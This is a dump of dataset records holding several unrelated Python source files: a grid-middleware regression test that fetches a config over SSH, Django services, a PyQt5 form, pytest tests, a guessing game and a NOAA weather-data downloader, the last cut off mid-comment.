+{"seq_id":"420451683","text":"#\n# Bug: 87994\n# Title: yaim-wms doesn't fill the attributes get_acbr and get_owner in the conf file for Glue2\n# Link: https://savannah.cern.ch/bugs/?87994\n#\n#\n\nimport logging\n\nfrom libutils.Exceptions import *\n\ndef run(utils):\n\n    bug='87994'\n\n\n    if utils.YAIM_FILE=='':\n        raise GeneralError(\"Missing required variable (YAIM_FILE)\",\"To verify this bug it is necessary to set the YAIM_FILE in the configuration file\")\n    \n    logging.info(\"Start regression test for bug %s\"%(bug))\n\n    logging.warning(\"To verify this bug you need access to WMS. You have set WMS_USERNAME and WMS_PASSOWRD attributes at configuration file\")\n\n    ssh=utils.open_ssh(utils.get_WMS(),utils.get_Username(),utils.get_Password())\n\n    target=\"/etc/glite/info/service/glite-info-glue2-wmproxy.conf\"\n\n    utils.ssh_get_file(ssh, \"%s\"%(target), \"%s/local_copy\"%(utils.get_tmp_dir()))\n\n    utils.ssh_get_file(ssh, \"%s\"%(utils.YAIM_FILE), \"%s/yaim_local_copy\"%(utils.get_tmp_dir()))\n\n    ssh.close()\n    \n    logging.info(\"Parse yaim file to find all the supported VOs\")\n\n    FILE=open(\"%s/yaim_local_copy\"%(utils.get_tmp_dir()),\"r\")\n    yaim=FILE.readlines()\n    FILE.close()\n\n    for line in yaim:\n        if line.find(\"VOS\")!=-1:\n            vos=line.split(\"=\")[1].strip(\" \\\"\\n\").split(\" \")\n            logging.info(\"Find the following VOs: %s\"%(vos))\n            break\n\n    VOS=[]\n\n    for vo in vos:\n       VOS.append(\"VO:%s\"%(vo))\n\n    logging.info(\"Parse file /etc/glite/info/service/glite-info-glue2-wmproxy.conf  to find attributes get_acbr and get_owner\")\n    \n    FILE=open(\"%s/local_copy\"%(utils.get_tmp_dir()),\"r\")\n    lines=FILE.readlines()\n    FILE.close()\n\n    get_acbr=''\n    get_owner=''\n\n    for line in lines:\n        if line.find(\"get_acbr\")!=-1:\n             get_acbr=line\n             logging.info(\"Attribute get_acbr: %s\"%(get_acbr))\n             \n        if line.find(\"get_owner\")!=-1:\n             get_owner=line\n             logging.info(\"Attribute get_owner: %s\"%(get_owner))\n\n\n    logging.info(\"Check attribute get_acbr\")\n\n    if get_owner.find(\"\\\\n\".join(vos))==-1:\n        logging.error(\"Unable to find all supported VOs in attribute get_acbr.\")\n        raise GeneralError(\"Check attribute get_acbr\",\"Unable to find all the supported VOs in attribute get_acbr.\")\n    else:\n        logging.info(\"Find all supported VOs in attribute get_acbr\")\n\n    logging.info(\"Check attribute get_owner\")\n    \n    if get_acbr.find(\"\\\\n\".join(VOS))==-1:\n        logging.error(\"Unable to find all the supported VOs in attribute get_owner.\")\n        raise GeneralError(\"Check attribute get_owner\",\"Unable to find all the supported VOs in attribute get_owner.\")\n    else:\n        logging.info(\"Find all supported VOs in attribute get_owner\")\n        \n    logging.info(\"Test OK\")\n  \n    logging.info(\"End of regression test for bug %s\",bug)\n","sub_path":"regression_tests/bugs/87994.py","file_name":"87994.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"92699934","text":"from __future__ import absolute_import\nfrom __future__ import print_function\n\nimport sys\n\ntraces = [];\n\nclass Tracer(object):\n    depth = 0\n    filename = ''\n\n    def __enter__(self):\n        sys.settrace(self.trace)\n\n    def __exit__(self, exception_type, value, tb):\n        sys.settrace(None)\n\n    def trace(self, frame, event, args):\n        filename = frame.f_code.co_filename\n        if not filename or not 'auger' in filename:\n            return\n        lineno = frame.f_lineno\n        name = frame.f_code.co_name\n        if event == 'call':\n            self.log(filename, lineno, '%s(%s)' % (name, str(frame.f_locals)))\n            self.depth += 1\n        elif event == 'return':\n            self.log(filename, lineno, ' => %s' % repr(args))\n            self.depth -= 1\n        elif event == 'line':\n            self.log(filename, lineno, '')\n        return self.trace\n\n    def log(self, filename, lineno, message):\n        output = \"\"\n        if filename != self.filename:\n            output += '\\n%s\\n' % filename\n            self.filename = filename\n        with open(filename) as fp:\n            line = fp.readlines()[lineno - 1][:-1].strip()\n        output += '%06s' % lineno + ' ' + '  ' * self.depth + ' ' + line\n        if message:\n            output += ' # ' + message\n        print(output)\n        traces.append(output)\n","sub_path":"auger/tracer.py","file_name":"tracer.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"120189813","text":"# coding: utf-8\n\nfrom collections import namedtuple\n\nfrom home_crm.core.services import BaseDjangoORMService\nfrom .models import Good, Commodity\n\n\nGoodStub = namedtuple(\n    'GoodStub', ['id_price', 'id_commodity', 'full_name', 'count', 'barcode'])\n\nCommodityStub = namedtuple('CommodityStub', ['id', 'name', 'category'])\n\n\nclass GoodServiceException(BaseDjangoORMService.ServiceException):\n    pass\n\n\nclass GoodArgumentExc(GoodServiceException):\n    pass\n\n\nclass GoodNotPriceException(GoodServiceException):\n    pass\n\n\nclass GoodNotFountException(GoodServiceException):\n    pass\n\n\nclass CommodityService(BaseDjangoORMService):\n\n    @classmethod\n    def get_by_id(cls, id: int) -> Commodity:\n        return Commodity.objects.get(pk=id)\n\n    @classmethod\n    def get_all_commodity_with_price(cls):\n        commodity_all = Commodity.objects.all()\n        return commodity_all\n\n    @classmethod\n    def get_or_create_commodity(cls, name, thematic=None, numeric=None):\n        try:\n            commodity = Commodity.objects.get(name=name)\n        except Commodity.DoesNotExist:\n            return False, Commodity(\n                name=name, thematic=thematic, numeric=numeric)\n        else:\n            return True, commodity\n\n    @classmethod\n    def get_commodity(cls, name):\n        return Commodity.objects.filter(name=name).first()\n\n\nclass GoodService(BaseDjangoORMService):\n    @classmethod\n    def get_goods(cls):\n        return Good.objects.all()\n\n    @classmethod\n    def get_or_create_commodity_numbers(\n            cls, commodity_id, number_local=None, number_global=None, id=None):\n        commodity = CommodityService.get_by_id(commodity_id)\n\n        if commodity.numeric:\n            if not number_local and not number_global:\n                raise GoodArgumentExc(\n                    \"Для номерного товара '%s' не указаны номера\" %\n                    str(commodity.name))\n\n        if commodity.numeric is False:\n            if number_local or number_global:\n                raise GoodArgumentExc(\n                    \"Для безномерного товара '%s' нельзя указывать номера\" %\n                    str(commodity.name))\n\n        try:\n            if id:\n                good = Good.objects.get(\n                    commodity_id=commodity_id,\n                    number_local=number_local,\n                    number_global=number_global\n                ).exclude(pk=id)\n            else:\n                good = Good.objects.get(\n                    commodity_id=commodity_id,\n                    number_local=number_local,\n                    number_global=number_global)\n        except Good.DoesNotExist:\n            if id:\n                return False, Good.objects.get(pk=id)\n            else:\n                return False, Good(commodity_id=commodity_id,\n                                   number_local=number_local,\n                                   number_global=number_global)\n        else:\n            return True, good\n\n    @classmethod\n    def get_good_exlude_invoice(cls, invoice_id):\n        return Good.objects.exclude(\n            invoiceitem__invoice_id=invoice_id\n        ).all()\n\n    @classmethod\n    def get_good(cls, id):\n        good = Good.objects.get(pk=id)\n        if not good:\n            raise GoodNotFountException(u\"Не найдено записи в БД\")\n\n        return good\n\n    @classmethod\n    def get_price(cls, good_id):\n        from price.services import PriceService\n        good = cls.get_good(good_id)\n        if good.price_id:\n            return PriceService.get_price(good.price_id)\n\n    @classmethod\n    def full_name(cls, good):\n        return cls.generate_name(good.commodity.name, good.number_local,\n                                 good.number_global)\n\n    @classmethod\n    def generate_name(cls, name, number_local=None, number_global=None):\n        numeric = True if number_local and number_global else False\n        if numeric:\n            full_name = name + u\" №\" + str(number_local) + u\"(\" + str(\n                number_global) + u\")\"\n        else:\n            full_name = name\n        return full_name\n\n    @classmethod\n    def update_good(cls, session, id, barcode, commodity_id, number_local=None,\n                    number_global=None, price_id=None,\n                    full_name=None):\n        good = cls.get_good(id)\n        good.barcode = barcode\n        good.commodity_id = commodity_id\n        good.number_local = number_local\n        good.number_global = number_global\n        good.price_id = price_id\n\n        if not full_name:\n            full_name = GoodService.full_name(good)\n        good.full_name = full_name\n\n        session.add(good)\n","sub_path":"home_crm/goods/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":4694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"159267241","text":"from PyQt5 import QtCore, QtGui, QtWidgets\n\n\nclass Ui_MainWindow(object):\n    def setupUi(self, MainWindow):\n        MainWindow.setObjectName(\"MainWindow\")\n        MainWindow.resize(820, 309)\n        self.centralwidget = QtWidgets.QWidget(MainWindow)\n        self.centralwidget.setObjectName(\"centralwidget\")\n        self.verticalLayout = QtWidgets.QVBoxLayout(self.centralwidget)\n        self.verticalLayout.setObjectName(\"verticalLayout\")\n        self.formLayout = QtWidgets.QFormLayout()\n        self.formLayout.setObjectName(\"formLayout\")\n        self.labelUser = QtWidgets.QLabel(self.centralwidget)\n        font = QtGui.QFont()\n        font.setPointSize(12)\n        self.labelUser.setFont(font)\n        self.labelUser.setObjectName(\"labelUser\")\n        self.formLayout.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.labelUser)\n        self.lineEdit = QtWidgets.QLineEdit(self.centralwidget)\n        self.lineEdit.setMinimumSize(QtCore.QSize(0, 30))\n        self.lineEdit.setObjectName(\"lineEdit\")\n        self.formLayout.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.lineEdit)\n        self.label = QtWidgets.QLabel(self.centralwidget)\n        font = QtGui.QFont()\n        font.setPointSize(12)\n        self.label.setFont(font)\n        self.label.setObjectName(\"label\")\n        self.formLayout.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.label)\n        self.comboBox = QtWidgets.QComboBox(self.centralwidget)\n        self.comboBox.setMinimumSize(QtCore.QSize(0, 30))\n        self.comboBox.setObjectName(\"comboBox\")\n        self.formLayout.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.comboBox)\n        self.verticalLayout.addLayout(self.formLayout)\n        self.pushButton = QtWidgets.QPushButton(self.centralwidget)\n        self.pushButton.setObjectName(\"pushButton\")\n        self.verticalLayout.addWidget(self.pushButton)\n        self.labelResult = QtWidgets.QLabel(self.centralwidget)\n        font = QtGui.QFont()\n        font.setPointSize(12)\n        self.labelResult.setFont(font)\n        self.labelResult.setText(\"\")\n        self.labelResult.setObjectName(\"labelResult\")\n        self.verticalLayout.addWidget(self.labelResult)\n        self.labelRes2 = QtWidgets.QLabel(self.centralwidget)\n        self.labelRes2.setText(\"\")\n        self.labelRes2.setObjectName(\"labelRes2\")\n        self.verticalLayout.addWidget(self.labelRes2)\n        MainWindow.setCentralWidget(self.centralwidget)\n        self.menubar = QtWidgets.QMenuBar(MainWindow)\n        self.menubar.setGeometry(QtCore.QRect(0, 0, 820, 26))\n        self.menubar.setObjectName(\"menubar\")\n        MainWindow.setMenuBar(self.menubar)\n        self.statusbar = QtWidgets.QStatusBar(MainWindow)\n        self.statusbar.setObjectName(\"statusbar\")\n        MainWindow.setStatusBar(self.statusbar)\n\n        self.retranslateUi(MainWindow)\n        QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n    def retranslateUi(self, MainWindow):\n        _translate = QtCore.QCoreApplication.translate\n        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))\n        self.labelUser.setText(_translate(\"MainWindow\", \"Username\"))\n        self.label.setText(_translate(\"MainWindow\", \"Действие\"))\n        self.pushButton.setText(_translate(\"MainWindow\", \"OK\"))","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":3253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"546667596","text":"import pandas as pd\nimport pytest\nfrom hyperopt.pyll import Apply\n\nfrom poptimizer.config import AFTER_TAX\nfrom poptimizer.ml.feature import divyield\n\n\n@pytest.fixture(scope=\"module\", name=\"feat\")\ndef test_divyield_feature():\n    return divyield.DivYield(\n        (\"PHOR\", \"TATN\", \"DSKY\"), pd.Timestamp(\"2018-12-12\"), {\"days\": 47, \"periods\": 1}\n    )\n\n\ndef test_col_names(feat):\n    assert feat.col_names == [\"DivYield_0\"]\n\n\ndef test_is_categorical(feat):\n    assert feat.is_categorical({\"days\": 47, \"periods\": 2}) == [False, False]\n\n\ndef test_get_params_space(feat):\n    space = feat.get_params_space()\n    assert isinstance(space, dict)\n    assert len(space) == 3\n    assert space[\"on_off\"] is True\n    assert isinstance(space[\"days\"], Apply)\n    assert isinstance(space[\"periods\"], Apply)\n\n\ndef test_get(feat):\n    df = feat.get({\"days\": 13, \"periods\": 1})\n    assert isinstance(df, pd.DataFrame)\n\n    assert pd.Timestamp(\"2018-12-12\") in df.index\n    assert pd.Timestamp(\"2018-12-13\") not in df.index\n    assert pd.Timestamp(\"2010-01-26\") not in df.index\n\n    df = feat.get(dict(days=9, periods=1))\n    assert df.loc[(pd.Timestamp(\"2018-06-22\"), \"PHOR\"), \"DivYield_0\"] == pytest.approx(\n        AFTER_TAX * 15 / 2291\n    )\n    assert df.loc[(pd.Timestamp(\"2018-06-25\"), \"PHOR\"), \"DivYield_0\"] == pytest.approx(\n        0\n    )\n\n    df = feat.get(dict(days=20, periods=1))\n    assert df.loc[(pd.Timestamp(\"2018-06-11\"), \"PHOR\"), \"DivYield_0\"] == pytest.approx(\n        AFTER_TAX * 15 / 2315\n    )\n\n    df = feat.get(dict(days=30, periods=1))\n    assert df.loc[(pd.Timestamp(\"2018-10-11\"), \"TATN\"), \"DivYield_0\"] == pytest.approx(\n        30.27 * AFTER_TAX / 778.3\n    )\n    assert df.loc[(pd.Timestamp(\"2018-10-10\"), \"TATN\"), \"DivYield_0\"] == pytest.approx(\n        0\n    )\n\n\ndef test_get_many_periods(feat):\n    df = feat.get({\"days\": 9, \"periods\": 2})\n    assert isinstance(df, pd.DataFrame)\n\n    assert pd.Timestamp(\"2018-12-12\") in df.index\n    assert pd.Timestamp(\"2018-12-13\") not in df.index\n\n    assert df.columns.to_list() == [\"DivYield_0\", \"DivYield_1\"]\n\n    assert df.loc[(pd.Timestamp(\"2018-06-08\"), \"PHOR\"), \"DivYield_0\"] == pytest.approx(\n        0\n    )\n    assert df.loc[(pd.Timestamp(\"2018-06-11\"), \"PHOR\"), \"DivYield_0\"] == pytest.approx(\n        AFTER_TAX * 15 / 2315\n    )\n    assert df.loc[(pd.Timestamp(\"2018-06-15\"), \"PHOR\"), \"DivYield_0\"] == pytest.approx(\n        AFTER_TAX * 15 / 2296\n    )\n    assert df.loc[(pd.Timestamp(\"2018-06-18\"), \"PHOR\"), \"DivYield_0\"] == pytest.approx(\n        0\n    )\n\n    assert df.loc[(pd.Timestamp(\"2018-06-15\"), \"PHOR\"), \"DivYield_1\"] == pytest.approx(\n        0\n    )\n    assert df.loc[(pd.Timestamp(\"2018-06-18\"), \"PHOR\"), \"DivYield_1\"] == pytest.approx(\n        AFTER_TAX * 15 / 2295\n    )\n    assert df.loc[(pd.Timestamp(\"2018-06-21\"), \"PHOR\"), \"DivYield_1\"] == pytest.approx(\n        AFTER_TAX * 15 / 2286\n    )\n    assert df.loc[(pd.Timestamp(\"2018-06-22\"), \"PHOR\"), \"DivYield_1\"] == pytest.approx(\n        0\n    )\n","sub_path":"poptimizer/ml/feature/tests/test_divyield.py","file_name":"test_divyield.py","file_ext":"py","file_size_in_byte":2981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"462854134","text":"# coding=utf-8\n# Iker Fuentes, David Castilla , Iker Cayero\n\n\"\"\"En primer lloc fem una variable la qual crei un numero aleatori del 0 al 10 i nosaltres l'hem d'endevinar.\nFem un while, un if per saber si el numero que demaem es igual que el que escull aleatoriament i printem el resultat\"\"\"\nimport random\nnum = random.randrange(0,11)\nacierto = False\nwhile acierto == False:\n    x = int(input(\"Intenta endevinar el numero: \"))\n    if x == num:\n        print(\"HAS ENCERTAT!\")\n        acierto = True\n    else:\n        print(\"ERROR\")\n\n","sub_path":"Práctica9/Pràctica 9_Exercici1.py","file_name":"Pràctica 9_Exercici1.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"33307835","text":"# Download data sets from NOAA.\n#See weather_dataframe.py for converting this data into a combined dataframe.\nimport requests\nimport json\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport wget\nfrom mpl_toolkits.basemap import Basemap\nimport pickle\n\n# #Get API keys from JSON file\n# with open('keys.json') as key_file:\n#     keys=json.load(key_file)\n#NCDC's call to website.\n\nbiggest_cities=[\n    ['AL','Birmingham','Mobile','Huntsville'],\n    ['AK','Anchorage','Fairbanks','Juneau'],\n    ['AZ','Phoenix','Tucson','Mesa'],\n    ['AR','Little Rock','Fort Smith','Fayetteville'],\n    ['CA','Los Angeles','San Diego','San Jose'],\n    ['CO','Denver','Colorado Springs','Aurora'],\n    ['CT','Bridgeport','New Haven','Hartford'],\n    ['DE','Wilmington','Dover','Newark'],\n    ['FL','Jacksonville','Miami','Tampa'],\n    ['GA','Atlanta','Augusta','Columbus'],\n    ['HI','Honolulu','Hilo','Kailua'],\n    ['ID','Boise','Nampa','Idaho Falls'],\n    ['IL','Chicago','Aurora','Rockford'],\n    ['IN','Indianapolis','Fort Wayne','Evansville'],\n    ['IA','Des Moines','Cedar Rapids','Davenport'],\n    ['KS','Wichita','Overland Park','Kansas City'],\n    ['KY','Louisville','Lexington','Owensboro'],\n    ['LA','New Orleans','Shreveport','Baton Rouge'],\n    ['ME','Portland','Lewiston','Bangor'],\n    ['MD','Baltimore','Frederick','Gaithersburg'],\n    ['MA','Boston','Worcester','Springfield'],\n    ['MI','Detroit','Grand Rapids','Warren'],\n    ['MN','Minneapolis','St. Paul','Rochester'],\n    ['MS','Jackson','Gulfport','Biloxi'],\n    ['MO','Kansas City','St. Louis','Springfield'],\n    ['MT','Billings','Missoula','Great Falls'],\n    ['NE','Omaha','Lincoln','Bellevue'],\n    ['NV','Las Vegas','Reno','Henderson'],\n    ['NH','Manchester','Nashua','Concord'],\n    ['NJ','Newark','Jersey City','Paterson'],\n    ['NM','Albuquerque','Las Cruces','Rio Rancho'],\n    ['NY','New York','Buffalo','Rochester'],\n    ['NC','Charlotte','Raleigh','Greensboro'],\n    ['ND','Fargo','Bismarck','Grand Forks'],\n    ['OH','Columbus','Cleveland','Cincinnati'],\n    ['OK','Oklahoma City','Tulsa','Norman'],\n    ['OR','Portland','Salem','Eugene'],\n    ['PA','Philadelphia','Pittsburgh','Allentown'],\n    ['RI','Providence','Warwick','Cranston'],\n    ['SC','Charleston','Columbia','North Charleston'],\n    ['SD','Sioux Falls','Rapid City','Aberdeen'],\n    ['TN','Memphis','Nashville','Knoxville'],\n    ['TX','Houston','San Antonio','Dallas'],\n    ['UT','Salt Lake City','West Valley City','Provo'],\n    ['VT','Burlington','South Burlington','Rutland'],\n    ['VA','Virginia Beach','Norfolk','Chesapeake'],\n    ['WA','Seattle','Spokane','Tacoma'],\n    ['WV','Charleston','Huntington','Parkersburg'],\n    ['WI','Milwaukee','Madison','Green Bay'],\n    ['WY','Cheyenne','Casper','Laramie']];\n\n\n#try to map states to power producing regions.\n#This is not quite correct, since some states are split between\n#multiple regions (TN, MS, ND).  But will try as first attempt.\nregion_dict={\n    'AL':'Southeast',\n    'AK':'AK',\n    'AZ':'Southwest',\n    'AR':'Midwest',\n    'CA':'California',\n    'CO':'Northwest',\n    'CT':'Northeast',\n    'DE':'Northeast',\n    'FL':'Florida',\n    'GA':'Southeast',\n    'HI':'HI',\n    'ID':'Northwest',\n    'IL':'Midwest',\n    'IN':'Midwest',\n    'IA':'Midwest',\n    'KS':'Central',\n    'KY':'Mid-Atlantic',\n    'LA':'Midwest',\n    'ME':'Northeast',\n    'MD':'Mid-Atlantic',\n    'MA':'Northeast',\n    'MI':'Midwest',\n    'MN':'Midwest',\n    'MS':'Midwest',\n    'MO':'Midwest',\n    'MT':'Northwest',\n    'NE':'Central',\n    'NV':'Southwest',\n    'NH':'Northeast',\n    'NJ':'Mid-Atlantic',\n    'NM':'Southwest',\n    'NY':'New York',\n    'NC':'Carolinas',\n    'ND':'Central',\n    'OH':'Mid-Atlantic',\n    'OK':'Central',\n    'OR':'Northwest',\n    'PA':'Mid-Atlantic',\n    'RI':'Northeast',\n    'SC':'Carolinas',\n    'SD':'Central',\n    'TN':'Tennessee',\n    'TX':'Texas',\n    'UT':'Northwest',\n    'VT':'New England',\n    'VA':'Mid-Atlantic',\n    'WA':'Northwest',\n    'WV':'Mid-Atlantic',\n    'WI':'Midwest',\n    'WY':'Northwest'}\n\n\n# #now make a dict of city names, and station locations.\n# #Find allowed ID number corresponding to largest cities.\n# #Note not all of these have entries.  \ndef get_airport_code(dataframe,city_list,depth=3):\n    \"\"\"get_airport_code(dataframe,city_list,depth=3)\n    Extract the ICAO code/callsign for one airport in each city.\n    Return a dataframe with the city,state and callsign.\n    \n    dataframe: initial dataframe with list of global airports, locations, ICAO callsigns.\n    city_list: list of lists cities to find the callsigns for. Containts cities in states.\n    depth: how many cities in each state to look for.  \n\n\"\"\"\n    aircode_df=pd.DataFrame()\n    nrows=len(city_list)\n    for i in range(0,nrows):\n        for j in range(1,depth+1):\n            city=city_list[i][j]\n            state=city_list[i][0]\n            msk=dataframe['City'].str.contains(city)\n            #Need separate handling for Portland and Charleston.\n            #(Ugly as sin, but should not break.)\n            if (city =='Portland'):\n                if (state=='OR'):\n                    call='KPDX'\n                elif (state=='ME'):\n                    call='KPWM'\n                msk=dataframe['ICAO'].str.contains(call)\n            elif (city =='Charleston'):\n                if (state=='SC'):\n                    call='KCHS'\n                elif (state=='WV'):                \n                    call='KCRW'\n                msk=dataframe['ICAO'].str.contains(call)\n            #If more than one entry, just pick the first one.\n            #check there is an entry\n            if (sum(msk)==0):\n                print('could not find city:'+city)\n                df_small=pd.DataFrame()\n            #otherwise pick the first.\n            else:\n                df_small=dataframe[msk].head(n=1)\n                df_small['State']=state\n            aircode_df=aircode_df.append(df_small)\n\n    aircode_df=aircode_df.rename(columns={'ICAO':'CALL'})\n    return aircode_df\n\ndef make_airport_df():\n     \"\"\"make_airport_df\n     Read in a list of global airports, and extract their ICAO codes.\n     Restrict then to US cities.\n     \"\"\"\n     #read in list of airports\n     airport_df = pd.read_csv('data/airports.dat',skiprows=1,na_values='\\\\N')\n     #only keep US airports, and name,city, and ICAO codes\n     msk2=airport_df['Country']=='United States'\n     airport_df=airport_df[msk2][['Name','City','ICAO']]\n     \n     airport_codes=get_airport_code(airport_df,biggest_cities)\n\n     return airport_codes\n\ndef read_isd_df():\n    \"\"\"make_airport_df\n    Read in list of weather stations and USAF-WBAN codes for the weather stations.  \n    Trim to only stations that have operated since 2015.\n    \"\"\"\n\n    #now compare with stations from ISD database.\n    isd_name_df=pd.read_fwf('data/ISD/isd-history.txt',skiprows=20)\n    #also only keep airports still operational in time period.\n    msk = isd_name_df['END']>20150000\n    isd_name_df=isd_name_df[msk]\n    isd_name_df=isd_name_df[['USAF','WBAN','CALL','LAT',\"LON\"]]\n    return isd_name_df\n\ndef merge_air_isd(airport_codes,isd_name_df):\n    \"\"\"merge_air_isd_df\n    \n    Merge the airport and weather data frames on name.\n    Trim out duplicates.\n\n    \"\"\"\n    airport_total = pd.merge(airport_codes,isd_name_df,on='CALL')\n    \n    #drop any duplicated entries. (i.e. multiple at same airport)\n    msk3 = airport_total['CALL'].duplicated().values\n    print('Duplicated values for:')\n    print(airport_total[msk3][['CALL','City']])\n    airport_total=airport_total[~msk3]\n    # msk1 = airport_codes2['USAF']!=999999\n    # msk2 = airport_codes2['WBAN']!=99999\n    # airport_codes2=airport_codes2[msk1&msk2]\n    \n    #make these codes integers.\n    airport_total['USAF']=airport_total['USAF'].astype(int)\n    airport_total['WBAN']=airport_total['WBAN'].astype(int)\n    \n    return airport_total\n\ndef plot_airports(air_df):\n    \"\"\"plot_airports(air_df)\n    Plot the locations of the airports contained within air_df.\n    Useful for eyeballing if there are systematic flaws in the locations \n    that made the cut.\n    \"\"\"\n    # try:\n    #     m=pickle.load(open('usstates.pickle','rb'))\n    #     print('Loading Map from pickle')\n    # except:\n    #if not, remake the Basemap (costs lots of time)\n    try:\n        plt.figure()  \n        print('Creating Fine BaseMap and storing with pickle')\n        m=Basemap(projection='merc',llcrnrlon=-130,llcrnrlat=25,\n                  urcrnrlon=-65,urcrnrlat=50,resolution='l', \n                  lon_0=-115, lat_0=35)\n        m.drawstates()\n        m.drawcountries()\n        m.drawcoastlines()\n        pickle.dump(m,open('usstates.pickle','wb'),-1)\n    except:\n        print(meh)\n        #actually draw the map\n    lons = air_df['LON'].values\n    lats = air_df['LAT'].values\n    m.scatter(lons,lats,latlon=True)\n    plt.show()\n    return None\n\n#now download the data from NOAA:\ndef wget_data(USAF,WBAN,yearstr,city,airport):\n    \"\"\"wget_data(USAF,WBAN,yearstr,city,airport)\n    Download automated weather station data from NOAA for a given year at a given airport.\n    \n    USAF: USAF 6 digit code for airport.\n    WBAN: NOAA code for weather station at airport\n    yearstr: a string containing the 4 digit year.\n    city: city the airport is located in\n    airport: Name of the airport.\n    \"\"\"\n    base_url='ftp://ftp.ncdc.noaa.gov/pub/data/noaa/isd-lite/'\n    file_name=isd_filename(yearstr,USAF,WBAN)\n    url=base_url+file_name\n    try:\n        print('\\n trying: {}'.format(url))\n        wget.download(url,out='data/ISD')\n    except:\n        print('\\n could not download data from city:',city,airport)\n    return None\n\ndef isd_filename(yearstr,USAF,WBAN):\n    \"\"\" isd_filename(yearstr,USAF,WBAN)\n    Make filename corresponding to zipped file names used in ISD database.\n    \"\"\"\n    #put in some padding {:0>5} for shorter codes.\n    fn=\"{0}/{1}-{2:0>5}-{0}.gz\".format(yearstr,str(USAF),str(WBAN))\n    return fn\n        \n#download weather data for all of the airports specified in aircode\ndef get_all_data(aircode,years=['2015','2016','2017']):\n    \"\"\"get_all_data(aircode,years=['2015','2016','2017'])\n    Download the data for all airports we could find weather stations for in desired cities.\n\n    aircode: datafram containing airport codes, NOAA station numbers, airports\n    years: array of strings for the years to seek data.\n    \"\"\"\n    for yearstr in years:\n        for i in range(len(aircode)):\n            ap = aircode.iloc[i]\n            usaf=ap['USAF']\n            wban=ap['WBAN']\n            city=ap['City']\n            airport=ap['Name']\n            wget_data(usaf,wban,yearstr,city,airport)\n    return None\n\n#now read it in, convert to time-series.\n\ndef convert_isd_to_df(filename,city,state):\n    \"\"\"\n    convert_to_df(filename)\n    \n    Read in a automated weather stations data from file.\n    Data is space separated columns, with format given in\n    \"isd-lite-format.txt\".\n    Converts to pandas dataframe using date/time columns as DateTimeIndex.\n    Format info:\n    1: Year\n    2: Month\n    3: Day\n    4: Hour \n    5: Temperature (x10) in celcius\n    6: Dew point temperature (x10) in celcius\n    7: Sea level pressure (x10 in hectopascals)\n    8: Wind direction (degrees from north)\n    9: Wind speed (x10 in meters per second)\n    10: Cloud Coverage (categorical)\n    11: Precipitation for One Hour (x10, in mm)\n    12: Precipitation total for Six hours (x10 in mm)\n\n    All missing values are -9999.\n    \"\"\"\n    #use fixed width format to read in (isd-lite-format has data format)\n    col_names=['year','month','day','hour',\n               'Temp','DewTemp','Pressure',\n               'WindDir','WindSpeed','CloudCover',\n               'Precip-1hr','Precip-6hr']\n    df=pd.read_fwf(filename,compression='gzip',\n                   na_values=['-9999','999'],names=col_names)\n    city_st=city+', '+state\n    df['city']=city\n    df['state']=state\n    df['city, state']=city_st\n    df['region']=region_dict[state]        \n    #make a time index.\n    times=pd.to_datetime({'year':df['year'],\n                          'month':df['month'],\n                          'day':df['day'],\n                          'hour':df['hour']})\n    Tindex=pd.DatetimeIndex(times)\n    df.index=Tindex\n    #df.index=pd.MultiIndex.from_product([Tindex,[city_st]])\n    #delete those columns\n    df=df.drop(labels=['year','month','day','hour'],axis=1)\n    return df\n\n# fn = 'data/ISD/702650-26407-2015.gz'\n# city='Blah'\n# state='OR'\n            \n# df=convert_isd_to_df(fn,city,state)\n\ndef convert_state_isd(air_df,ST):\n    \"\"\"convert_all_isd(air_df)\n    convert the weather files for a particular state into \n    one big data frame.\n    \"\"\"\n    data_dir='data/ISD/'\n    Tindex=pd.DatetimeIndex(start='2015-07',end='2017-11',freq='h')\n    df_tot=pd.DataFrame(index=Tindex)\n    #select out only the entries for the desired state.\n    msk = air_df['State']==ST\n    air_msk=air_df[msk]\n    for i in range(len(air_msk)):\n        for yearstr in ['2015','2016','2017']:\n            ap = air_msk.iloc[i]\n            usaf=ap['USAF']\n            wban=ap['WBAN']\n            city=ap['City']\n            state=ap['State']\n            file_name=\"data/ISD/{1}-{2:0>5}-{0}.gz\".format(yearstr,str(usaf),str(wban))\n            df=convert_isd_to_df(file_name,city,state)\n            df_tot=df_tot.append(df)\n        print('done with {}'.format(ap['Name']))\n    return df_tot\n\ndef convert_all_isd(air_df):\n    \"\"\"convert_all_isd(air_df)\n    convert all the weather files for all stations and all years into \n    one big data frame.\n    \"\"\"\n    data_dir='data/ISD/'\n    Tindex=pd.DatetimeIndex(start='2015-07',end='2017-11',freq='h')\n    df_tot=pd.DataFrame(index=Tindex)\n    nmax=len(air_df)\n    for i in range(nmax):\n        for yearstr in ['2015','2016','2017']:\n            ap = air_df.iloc[i]\n            usaf=ap['USAF']\n            wban=ap['WBAN']\n            city=ap['City']\n            state=ap['State']\n            file_name=\"data/ISD/{1}-{2:0>5}-{0}.gz\".format(yearstr,str(usaf),str(wban))\n            df=convert_isd_to_df(file_name,city,state)\n            df_tot=df_tot.append(df)\n        print('done with {}'.format(ap['Name']))\n    return df_tot\n\n# def make_weather_multiindex(air_df):\n#     #Tindex=pd.DatetimeIndex(start='2015-07',end='2017-11',freq='h')\n#     Tindex=pd.DatetimeIndex(start='2015-07',end='2016-03',freq='m')    \n#     city_list=list()\n#     